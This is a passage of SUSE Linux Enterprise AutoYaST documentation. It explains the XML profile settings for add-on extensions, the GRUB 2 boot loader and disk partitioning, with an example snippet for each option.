      The only extension available for SUSE Linux Enterprise Desktop is the sle-sdk.
     </p><p>
      Some extensions, such as the sle-we, sle-ha and sle-ha-geo require a
      registration code.
     </p></div><div class="verbatim-wrap"><pre class="screen">&lt;addons config:type="list"&gt;
  &lt;addon&gt;
    &lt;arch&gt;x86_64&lt;/arch&gt;
    &lt;name&gt;sle-ha&lt;/name&gt;
    &lt;reg_code&gt;YOUR_REG_CODE_HERE&lt;/reg_code&gt;
    &lt;release_type&gt;nil&lt;/release_type&gt;
    &lt;version&gt;12&lt;/version&gt;
  &lt;/addon&gt;
  &lt;addon&gt;
    &lt;arch&gt;x86_64&lt;/arch&gt;
    &lt;name&gt;sle-ha-geo&lt;/name&gt;
    &lt;reg_code&gt;YOUR_REG_CODE_HERE&lt;/reg_code&gt;
    &lt;release_type&gt;nil&lt;/release_type&gt;
    &lt;version&gt;12&lt;/version&gt;
  &lt;/addon&gt;
  &lt;addon&gt;
    &lt;arch&gt;x86_64&lt;/arch&gt;
    &lt;name&gt;sle-module-web-scripting&lt;/name&gt;
    &lt;reg_code/&gt;
    &lt;release_type&gt;nil&lt;/release_type&gt;
    &lt;version&gt;12&lt;/version&gt;
  &lt;/addon&gt;
  &lt;addon&gt;
    &lt;arch&gt;x86_64&lt;/arch&gt;
    &lt;name&gt;sle-module-adv-systems-management&lt;/name&gt;
    &lt;reg_code/&gt;
    &lt;release_type&gt;nil&lt;/release_type&gt;
    &lt;version&gt;12&lt;/version&gt;
  &lt;/addon&gt;
  &lt;addon&gt;
    &lt;arch&gt;x86_64&lt;/arch&gt;
    &lt;name&gt;sle-module-legacy&lt;/name&gt;
    &lt;reg_code/&gt;
    &lt;release_type&gt;nil&lt;/release_type&gt;
    &lt;version&gt;12&lt;/version&gt;
  &lt;/addon&gt;
  &lt;addon&gt;
    &lt;arch&gt;x86_64&lt;/arch&gt;
    &lt;name&gt;sle-we&lt;/name&gt;
    &lt;reg_code&gt;YOUR_REG_CODE_HERE&lt;/reg_code&gt;
    &lt;release_type&gt;nil&lt;/release_type&gt;
    &lt;version&gt;12&lt;/version&gt;
  &lt;/addon&gt;
  &lt;addon&gt;
    &lt;arch&gt;x86_64&lt;/arch&gt;
    &lt;name&gt;sle-sdk&lt;/name&gt;
    &lt;reg_code/&gt;
    &lt;release_type&gt;nil&lt;/release_type&gt;
    &lt;version&gt;12&lt;/version&gt;
  &lt;/addon&gt;
  &lt;addon&gt;
    &lt;arch&gt;x86_64&lt;/arch&gt;
    &lt;name&gt;sle-module-public-cloud&lt;/name&gt;
    &lt;reg_code/&gt;
    &lt;release_type&gt;nil&lt;/release_type&gt;
    &lt;version&gt;12&lt;/version&gt;
  &lt;/addon&gt;
&lt;/addons&gt;</pre></div></div></div><div class="sect1 " id="CreateProfile.Bootloader"><div class="titlepage"><div><div><h2 class="title" id="CreateProfile.Bootloader"><span class="number">4.4 </span><span class="name">The Boot Loader</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Bootloader">#</a></h2></div></div></div><p>
    This documentation is for <code class="command">yast2-bootloader</code> and
    applies to SLE <span class="productnumber"><span class="phrase">12 SP1</span></span>. For older product versions, use
    the documentation that comes with your distribution in
    <code class="filename">/usr/share/doc/packages/autoyast2/</code>
   </p><p>
    The general structure of the AutoYaST boot loader part looks like the
    following:
   </p><div class="verbatim-wrap"><pre class="screen">&lt;bootloader&gt;
  &lt;loader_type&gt;
    &lt;!-- boot loader type (grub2 or grub2-efi) --&gt;
  &lt;/loader_type&gt;
  &lt;global&gt;
    &lt;!-- 
      entries defining the installation settings for GRUB 2 and
      the generic boot code
    --&gt;
  &lt;/global&gt;
  &lt;device_map config:type="list"&gt;
    &lt;!-- entries defining the order of devices --&gt;
  &lt;/device_map&gt;
 &lt;/bootloader&gt;</pre></div><div class="sect2 " id="CreateProfile.Bootloader.type"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.Bootloader.type"><span class="number">4.4.1 </span><span class="name">Loader Type</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Bootloader.type">#</a></h3></div></div></div><p>
     Define which boot loader to use: <code class="literal">grub2</code> or
     <code class="literal">grub2-efi</code>.
    </p><div class="verbatim-wrap"><pre class="screen">&lt;loader_type&gt;grub2&lt;/loader_type&gt;</pre></div></div><div class="sect2 " id="CreateProfile.Bootloader.globals"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.Bootloader.globals"><span class="number">4.4.2 </span><span class="name">Globals</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Bootloader.globals">#</a></h3></div></div></div><p>
     This is an important if optional part. Define here where to install
     GRUB 2 and how the boot process will work. Again,
     <code class="command">yast2-bootloader</code> proposes a configuration if you
     do not define one. Usually the AutoYaST control file includes only this
     part and all other parts are added automatically during installation by
     <code class="command">yast2-bootloader</code>. Unless you have some special
     requirements, do not specify the boot loader configuration in the XML
     file.
    </p><div class="verbatim-wrap"><pre class="screen">&lt;global&gt;
  &lt;activate config:type="boolean"&gt;true&lt;/activate&gt;
  &lt;timeout config:type="integer"&gt;10&lt;/timeout&gt;
  &lt;suse_btrfs config:type="boolean"&gt;true&lt;/suse_btrfs&gt;
  &lt;terminal&gt;gfxterm&lt;/terminal&gt;
  &lt;gfxmode&gt;1280x1024x24&lt;/gfxmode&gt;     
&lt;/global&gt;</pre></div><div class="informaltable"><table border="1"><colgroup><col /><col /></colgroup><thead><tr><th>
         <p>
          Attribute
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">activate</code>
         </p>
        </td><td>
         <p>
          Set the boot flag on the boot partition. The boot partition can be
          <code class="filename">/</code> if there is no separate /boot partition. If
          the boot partition is on a logical partition, the boot flag is set
          to the extended partition.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;activate config:type="boolean"&gt;true&lt;/activate&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">append</code>
         </p>
        </td><td>
         <p>
          Kernel parameters added at the end of boot entries for normal and
          recovery mode.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;append&gt;nomodeset vga=0x317&lt;/append&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">boot_boot</code>
         </p>
        </td><td>
         <p>
          Write GRUB 2 to a separate /boot partition. If no separate
          /boot partition exists, GRUB 2 will be written to
          <code class="filename">/</code>.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;boot_boot&gt;false&lt;/boot_boot&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">boot_custom</code>
         </p>
        </td><td>
         <p>
          Write GRUB 2 to a custom device.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;boot_custom&gt;/dev/sda3&lt;/boot_custom&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">boot_extended</code>
         </p>
        </td><td>
         <p>
          Write GRUB 2 to the extended partition (important if you want
          to use a generic boot code and the <code class="filename">/boot</code>
          partition is logical). NOTE: if the boot partition is logical, you
          should use <code class="literal">boot_mbr</code> (write GRUB 2 to MBR)
          rather than <code class="literal">generic_mbr</code>.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;boot_extended&gt;false&lt;/boot_extended&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">boot_mbr</code>
         </p>
        </td><td>
         <p>
          Write GRUB 2 to MBR of the first disk in the order (device.map
          includes order of disks).
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;boot_mbr&gt;false&lt;/boot_mbr&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">boot_root</code>
         </p>
        </td><td>
         <p>
          Write GRUB 2 to <code class="filename">/</code> partition.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;boot_root&gt;false&lt;/boot_root&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">generic_mbr</code>
         </p>
        </td><td>
         <p>
          Write generic boot code to MBR, will be ignored if boot_mbr is set
          to <code class="literal">true</code>.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;generic_mbr config:type="boolean"&gt;false&lt;/generic_mbr&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">gfxmode</code>
         </p>
        </td><td>
         <p>
          Graphical resolution of the GRUB 2 screen (requires
          &lt;terminal&gt; to be set to <code class="literal">gfxterm</code>.
          Valid entries are <code class="literal">auto</code>,
          <code class="literal"><em class="replaceable ">HORIZONTAL</em>x<em class="replaceable ">VERTICAL</em></code>,
          or
          <code class="literal"><em class="replaceable ">HORIZONTAL</em>x<em class="replaceable ">VERTICAL</em>x<em class="replaceable ">COLOR
          DEPTH</em></code>. You can display the screen
          resolutions available to GRUB 2 on a particular system by
          typing <code class="command">vbeinfo</code> at the GRUB 2 command line in
          the running system.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;gfxmode&gt;1280x1024x24&lt;/gfxmode&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">os_prober</code>
         </p>
        </td><td>
         <p>
          If set to <code class="literal">true</code>, automatically searches for
          operating systems already installed and generates boot entries for
          them during the installation
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;os_prober config:type="boolean"&gt;false&lt;/os_prober&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">suse_btrfs</code>
         </p>
        </td><td>
         <p>
          If set to <code class="literal">true</code>, booting from Btrfs snapshots
          will be enabled.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;suse_btrfs config:type="boolean"&gt;false&lt;/suse_btrfs&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">serial</code>
         </p>
        </td><td>
         <p>
          Command to execute if the GRUB 2 terminal mode is set to
          <code class="literal">serial</code>.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;serial&gt;
  serial --speed=115200 --unit=0 --word=8 --parity=no --stop=1
&lt;/serials&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">terminal</code>
         </p>
        </td><td>
         <p>
          Specify the GRUB 2 terminal mode to use, Valid entries are
          <code class="literal">console</code>, <code class="literal">gfxterm</code>, and
          <code class="literal">serial</code>. If set to <code class="literal">serial</code>,
          the serial command needs to be specified with
          &lt;serial&gt;, too.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;terminal&gt;serial&lt;/terminal&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">timeout</code>
         </p>
        </td><td>
         <p>
          The timeout in seconds until the default boot entry is booted
          automatically.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;timeout config:type="integer"&gt;10&lt;/timeout&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">vgamode</code>
         </p>
        </td><td>
         <p>
          Adds the Kernel parameter
          <code class="literal">vga=<em class="replaceable ">VALUE</em></code> to the
          boot entries.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;vgamode&gt;0x317&lt;/vgamode&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">xen-append</code>
         </p>
        </td><td>
         <p>
          Kernel parameters added at the end of boot entries for Xen
          guests.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;append&gt;nomodeset vga=0x317&lt;/append&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">xen-kernel-append</code>
         </p>
        </td><td>
         <p>
          Kernel parameters added at the end of boot entries for Xen
          kernels on the VM Host Server.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;xen-append&gt;dom0_mem=768M&lt;/xen-append&gt;</pre></div>
        </td></tr></tbody></table></div></div><div class="sect2 " id="CreateProfile.Bootloader.dev_map"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.Bootloader.dev_map"><span class="number">4.4.3 </span><span class="name">Device map</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Bootloader.dev_map">#</a></h3></div></div></div><p>
     GRUB 2 avoids mapping problems between BIOS drives and Linux devices
     by using device ID strings (UUIDs) or file system labels when
     generating its configuration files. GRUB 2 utilities create a
     temporary device map on the fly, which is usually sufficient,
     particularly on single-disk systems. However, if you need to override
     the automatic device mapping mechanism, create your custom mapping in
     this section.
    </p><div class="verbatim-wrap"><pre class="screen">&lt;device_map config:type="list"&gt;
  &lt;device_map_entry&gt;
    &lt;firmware&gt;hd0&lt;/firmware&gt; &lt;!-- order of devices in target map  --&gt;
    &lt;linux&gt;/dev/disk/by-id/ata-ST3500418AS_6VM23FX0&lt;/linux&gt; &lt;!-- name of device (disk)  --&gt;
  &lt;/device_map_entry&gt;
&lt;/device_map&gt;</pre></div></div></div><div class="sect1 " id="CreateProfile.Partitioning"><div class="titlepage"><div><div><h2 class="title" id="CreateProfile.Partitioning"><span class="number">4.5 </span><span class="name">Partitioning</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Partitioning">#</a></h2></div></div></div><p>
    
   </p><div class="sect2 " id="CreateProfile.Partitioning.config"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.Partitioning.config"><span class="number">4.5.1 </span><span class="name">Drive Configuration</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Partitioning.config">#</a></h3></div></div></div><p>
     The elements listed below must be placed within the following XML
     structure:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;profile&gt;
  &lt;partitioning config:type="list"&gt;
    &lt;drive&gt;
     ...
    &lt;/drive&gt;
  &lt;/partitioning&gt;
&lt;/profile&gt;</pre></div><div class="informaltable"><table border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
         <p>
          Attribute
         </p>
        </th><th>
         <p>
          Values
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">device</code>
         </p>
        </td><td>
         <p>
          The device you want to configure in this &lt;drive&gt;
          section. You can use persistent device names via id, like
          <code class="filename">/dev/disk/by-id/ata-WDC_WD3200AAKS-75L9A0_WD-WMAV27368122</code>
          or <span class="emphasis"><em>by-path</em></span>,like
          <code class="filename">/dev/disk/by-path/pci-0001:00:03.0-scsi-0:0:0:0</code>.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;device&gt;/dev/sda&lt;/device&gt;</pre></div>
        </td><td>
         <p>
          Optional. If left out, AutoYaST tries to guess the device. See
          <a class="xref" href="configuration.html#ay.partitioning.skip_devices" title="Tip: Skipping Devices">Tip: Skipping Devices</a> on how to influence
          guessing.
         </p>
         <p>
          A RAID must always have <code class="literal">/dev/md</code> as device.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">initialize</code>
         </p>
        </td><td>
         <p>
          If set to <code class="literal">true</code>, the partition table gets wiped
          out before AutoYaST starts the partition calculation.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;initialize config:type="boolean"&gt;true&lt;/initialize&gt;</pre></div>
        </td><td>
         <p>
          Optional. The default is <code class="literal">false</code>.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">partitions</code>
         </p>
        </td><td>
         <p>
          A list of &lt;partition&gt; entries (see
          <a class="xref" href="configuration.html#ay.partition_configuration" title="4.5.2. Partition Configuration">Section 4.5.2, “Partition Configuration”</a>).
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;partitions config:type="list"&gt;
  &lt;partition&gt;...&lt;/partition&gt;
  ...
&lt;/partitions&gt;</pre></div>
        </td><td>
         <p>
          Optional. If no partitions are specified, AutoYaST will create a
          reasonable partitioning (see
          <a class="xref" href="configuration.html#ay.auto_partitioning" title="4.5.4. Automated Partitioning">Section 4.5.4, “Automated Partitioning”</a>).
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">pesize</code>
         </p>
        </td><td>
         <p>
          This value only makes sense with LVM.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;pesize&gt;8M&lt;/pesize&gt;</pre></div>
        </td><td>
         <p>
          Optional. Default is 4M for LVM volume groups.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">use</code>
         </p>
        </td><td>
         <p>
          Specifies the strategy AutoYaST will use to partition the hard
          disk.
         </p>
         <p>
          Choose between:
         </p>
         <div class="itemizedlist "><ul class="itemizedlist"><li class="listitem "><p>
            <code class="literal">all</code> (uses the whole device while calculating
            the new partitioning),
           </p></li><li class="listitem "><p>
            <code class="literal">linux</code> (only existing Linux partitions are
            used),
           </p></li><li class="listitem "><p>
            <code class="literal">free</code> (only unused space on the device is
            used, no other partitions are touched),
           </p></li><li class="listitem "><p>
            1,2,3 (a list of comma separated partition numbers to use).
           </p></li></ul></div>
        </td><td>
         <p>
          This parameter should be provided.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">type</code>
         </p>
        </td><td>
         <p>
          Specify the type of the <code class="literal">drive</code>,
         </p>
         <p>
          Choose between:
         </p>
         <div class="itemizedlist "><ul class="itemizedlist"><li class="listitem "><p>
            <code class="literal">CT_DISK</code> for physical hard disks (default),
           </p></li><li class="listitem "><p>
            <code class="literal">CT_LVM</code> for LVM volume groups,
           </p></li></ul></div>
<div class="verbatim-wrap"><pre class="screen">&lt;type config:type="symbol"&gt;CT_LVM&lt;/type&gt;</pre></div>
        </td><td>
         <p>
          Optional. Default is <code class="literal">CT_DISK</code> for a normal
          physical hard disk.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">disklabel</code>
         </p>
        </td><td>
         <p>
          Describes the type of the partition table.
         </p>
         <p>
          Choose between:
         </p>
         <div class="itemizedlist "><ul class="itemizedlist"><li class="listitem "><p>
            <code class="literal">msdos</code>
           </p></li><li class="listitem "><p>
            <code class="literal">gpt</code>
           </p></li></ul></div>
<div class="verbatim-wrap"><pre class="screen">&lt;disklabel&gt;gpt&lt;/disklabel&gt;</pre></div>
        </td><td>
         <p>
          Optional. By default YaST decides what makes sense.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">keep_unknown_lv</code>
         </p>
        </td><td>
         <p>
          This value only makes sense for type=CT_LVM drives. If you are
          reusing a logical volume group and you set this to
          <code class="literal">true</code>, all existing logical volumes in that
          group will not be touched unless they are specified in the
          &lt;partitioning&gt; section. So you can keep existing
          logical volumes without specifying them.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;keep_unknown_lv config:type="boolean"
&gt;false&lt;/keep_unknown_lv&gt;</pre></div>
        </td><td>
         <p>
          Optional. The default is <code class="literal">false</code>.
         </p>
        </td></tr></tbody></table></div><div id="ay.partitioning.skip_devices" class="admonition tip"><img class="symbol" alt="Tip" title="Tip" src="static/images/icon-tip.png" /><h6>Tip: Skipping Devices</h6><p>
      You can influence AutoYaST's device-guessing for cases where you do not
      specify a &lt;device&gt; entry on your own. Usually AutoYaST
      would use the first device it can find that looks reasonable but you
      can configure it to skip some devices like this:
     </p><div class="verbatim-wrap"><pre class="screen">&lt;partitioning config:type="list"&gt;
  &lt;drive&gt;
    &lt;initialize config:type="boolean"&gt;true&lt;/initialize&gt;
    &lt;skip_list config:type="list"&gt;
      &lt;listentry&gt;
        &lt;!-- skip devices that use the usb-storage driver --&gt;
        &lt;skip_key&gt;driver&lt;/skip_key&gt;
        &lt;skip_value&gt;usb-storage&lt;/skip_value&gt;
      &lt;/listentry&gt;
      &lt;listentry&gt;
        &lt;!-- skip devices that are smaller than 1GB --&gt;
        &lt;skip_key&gt;size_k&lt;/skip_key&gt;
        &lt;skip_value&gt;1048576&lt;/skip_value&gt;
        &lt;skip_if_less_than config:type="boolean"&gt;true&lt;/skip_if_less_than&gt;
      &lt;/listentry&gt;
      &lt;listentry&gt;
        &lt;!-- skip devices that are larger than 100GB --&gt;
        &lt;skip_key&gt;size_k&lt;/skip_key&gt;
        &lt;skip_value&gt;104857600&lt;/skip_value&gt;
        &lt;skip_if_more_than config:type="boolean"&gt;true&lt;/skip_if_more_than&gt;
      &lt;/listentry&gt;
    &lt;/skip_list&gt;
  &lt;/drive&gt;
&lt;/partitioning&gt;</pre></div><p>
      For a list of all possible &lt;skip_key&gt;, run <code class="command">yast2
      ayast_probe</code> on an already installed system.
     </p></div></div><div class="sect2 " id="ay.partition_configuration"><div class="titlepage"><div><div><h3 class="title" id="ay.partition_configuration"><span class="number">4.5.2 </span><span class="name">Partition Configuration</span> <a title="Permalink" class="permalink" href="configuration.html#ay.partition_configuration">#</a></h3></div></div></div><p>
     The elements listed below must be placed within the following XML
     structure:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;drive&gt;
  &lt;partitions config:type="list"&gt;
    &lt;partition&gt;
      ...
    &lt;/partition&gt;
  &lt;/partitions&gt;
&lt;/drive&gt;</pre></div><div class="informaltable"><table border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
         <p>
          Attribute
         </p>
        </th><th>
         <p>
          Values
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">create</code>
         </p>
        </td><td>
         <p>
          Specify if this partition must be created or if it already exists.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;create config:type="boolean"
&gt;false&lt;/create&gt;</pre></div>
        </td><td>
         <p>
          If set to <code class="literal">false</code>, you also need to set
          <code class="literal">partition_nr</code> to tell AutoYaST the partition
          number.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">mount</code>
         </p>
        </td><td>
         <p>
          The mount point of this partition.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;mount&gt;/&lt;/mount&gt;
&lt;mount&gt;swap&lt;/mount&gt;</pre></div>
        </td><td>
         <p>
          You should have at least a root partition (/) and a swap
          partition.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">fstopt</code>
         </p>
        </td><td>
         <p>
          Mount options for this partition.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;fstopt&gt;
  ro,noatime,user,data=ordered,acl,user_xattr
&lt;/fstopt&gt;</pre></div>
        </td><td>
         <p>
          See <code class="command">man mount</code> for available mount options.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">label</code>
         </p>
        </td><td>
         <p>
          The label of the partition (useful for the
          <code class="literal">mountby</code> parameter; see below).
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;label&gt;mydata&lt;/label&gt;</pre></div>
        </td><td>
         <p>
          See <code class="command">man e2label</code> for an example.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">uuid</code>
         </p>
        </td><td>
         <p>
          The uuid of the partition (only useful for the
          <code class="literal">mountby</code> parameter; see below).
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;uuid
&gt;1b4e28ba-2fa1-11d2-883f-b9a761bde3fb&lt;/uuid&gt;</pre></div>
        </td><td>
         <p>
          See <code class="command">man uuidgen</code>.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">size</code>
         </p>
        </td><td>
         <p>
          The size of the partition, for example 4G, 4500M, etc. The /boot
          partition and the swap partition can have <code class="literal">auto</code>
          as size. Then AutoYaST calculates a reasonable size. One partition
          can have the value <code class="literal">max</code> to use all remaining
          space.
         </p>
         <p>
          You can also specify the size in percentage. So 10% will use 10%
          of the size of the hard disk or volume group. You can mix auto,
          max, size, and percentage as you like.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;size&gt;10G&lt;/size&gt;</pre></div>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          <code class="literal">format</code>
         </p>
        </td><td>
         <p>
          Specify if AutoYaST should format the partition.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;format config:type="boolean"&gt;false&lt;/format&gt;</pre></div>
        </td><td>
         <p>
          If you set <code class="literal">create</code> to <code class="literal">true</code>,
          then you likely want this option set to <code class="literal">true</code> as
          well.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">file system</code>
         </p>
        </td><td>
         <p>
          Specify the file system to use on this partition:
         </p>
         <div class="itemizedlist "><ul class="itemizedlist"><li class="listitem "><p>
            <code class="literal">btrfs</code>
           </p></li><li class="listitem "><p>
            <code class="literal">ext2</code>
           </p></li><li class="listitem "><p>
            <code class="literal">ext3</code>
           </p></li><li class="listitem "><p>
            <code class="literal">ext4</code>
           </p></li><li class="listitem "><p>
            <code class="literal">fat</code>
           </p></li><li class="listitem "><p>
            <code class="literal">xfs</code>
           </p></li><li class="listitem "><p>
            <code class="literal">swap</code>
           </p></li></ul></div>
<div class="verbatim-wrap"><pre class="screen">&lt;filesystem config:type="symbol"
&gt;ext3&lt;/filesystem&gt;</pre></div>
        </td><td>
         <p>
          Optional. The default is <code class="literal">btrfs</code> for the root
          partition (<code class="filename">/</code>) and <code class="literal">xfs</code> for
          data partitions.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">mkfs_options</code>
         </p>
        </td><td>
         <p>
          Specify an option string that is added to the mkfs command.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;mkfs_options&gt;-I 128&lt;/mkfs_options&gt;</pre></div>
        </td><td>
         <p>
          Optional. Only use this when you know what you are doing.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">partition_nr</code>
         </p>
        </td><td>
         <p>
          The partition number of this partition. If you have set
          <code class="literal">create=false</code> or if you use LVM, then you can
          specify the partition via <code class="literal">partition_nr</code>. You can
          force AutoYaST to only create primary partitions by assigning
          numbers below 5.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;partition_nr config:type="integer"
&gt;2&lt;/partition_nr&gt;</pre></div>
        </td><td>
         <p>
          Usually, numbers 1 to 4 are primary partitions while 5 and higher
          are logical partitions.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">partition_id</code>
         </p>
        </td><td>
         <p>
          The <code class="literal">partition_id</code> sets the id of the partition.
          If you want different identifiers than 131 for Linux partition or
          130 for swap, configure them with partition_id.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;partition_id config:type="integer"
&gt;131&lt;/partition_id&gt;</pre></div>
        </td><td>
         <p>
          The default is <code class="literal">131</code> for Linux partition and
          <code class="literal">130</code> for swap.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">mountby</code>
         </p>
        </td><td>
         <p>
          Instead of a partition number, you can tell AutoYaST to mount a
          partition by <code class="literal">device</code>, <code class="literal">label</code>,
          <code class="literal">uuid</code>, <code class="literal">path</code> or
          <code class="literal">id</code>, which are the udev path and udev id (see
          <code class="filename">/dev/disk/...</code>).
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;mountby config:type="symbol"
&gt;label&lt;/mountby&gt;</pre></div>
        </td><td>
         <p>
          See <code class="literal">label</code> and <code class="literal">uuid</code>
          documentation above. The default depends on YaST and usually
          is <code class="literal">id</code>.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">subvolumes</code>
         </p>
        </td><td>
         <p>
          List of subvolumes to create for a file system of type Btrfs. This
          key only makes sense for file systems of type Btrfs. If there is a
          default subvolume used for the distribution (for example
          <code class="filename">@</code> in <span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span>) the name of this
          default subvolume is automatically prepended to the names in this
          list.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;subvolumes config:type="list"&gt;
  &lt;path&gt;tmp&lt;/path&gt;
  &lt;path&gt;opt&lt;/path&gt;
  &lt;path&gt;srv&lt;/path&gt;
  &lt;path&gt;var/crash&lt;/path&gt;
  &lt;path&gt;var/lock&lt;/path&gt;
  &lt;path&gt;var/run&lt;/path&gt;
  &lt;path&gt;var/tmp&lt;/path&gt;
  &lt;path&gt;var/spool&lt;/path&gt;
  ...
&lt;/subvolumes&gt;</pre></div>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          <code class="literal">lv_name</code>
         </p>
        </td><td>
         <p>
          If this partition is in a logical volume in a volume group specify
          the logical volume name here (see the <code class="literal">is_lvm_vg</code>
          parameter in the drive configuration).
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;lv_name&gt;opt_lv&lt;/lv_name&gt;</pre></div>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          <code class="literal">stripes</code>
         </p>
        </td><td>
         <p>
          An integer that configures LVM striping. Specify across how many
          devices you want to stripe (spread data).
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;stripes config:type="integer"&gt;2&lt;/stripes&gt;</pre></div>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          <code class="literal">stripesize</code>
         </p>
        </td><td>
         <p>
          Specify the size of each block in KB.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;stripesize config:type="integer"
&gt;4&lt;/stripesize&gt;</pre></div>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          <code class="literal">lvm_group</code>
         </p>
        </td><td>
         <p>
          If this is a physical partition used by (part of) a volume group
          (LVM), you need to specify the name of the volume group here.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;lvm_group&gt;system&lt;/lvm_group&gt;</pre></div>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          <code class="literal">pool</code>
         </p>
        </td><td>
         <p>
          <code class="literal">pool</code> must be set to <code class="literal">true</code> if
          the LVM logical volume should be an LVM thin pool.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;pool config:type="boolean"&gt;false&lt;/pool&gt;</pre></div>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          <code class="literal">used_pool</code>
         </p>
        </td><td>
         <p>
          The name of the LVM thin pool that is used as a data store for
          this thin logical volume. If this is set to something non-empty,
          it implies that the volume is a so-called thin logical volume.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;used_pool&gt;my_thin_pool&lt;/used_pool&gt;</pre></div>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          <code class="literal">raid_name</code>
         </p>
        </td><td>
         <p>
          If this physical volume is part of a RAID, specify the name of the
          RAID.
         </p>
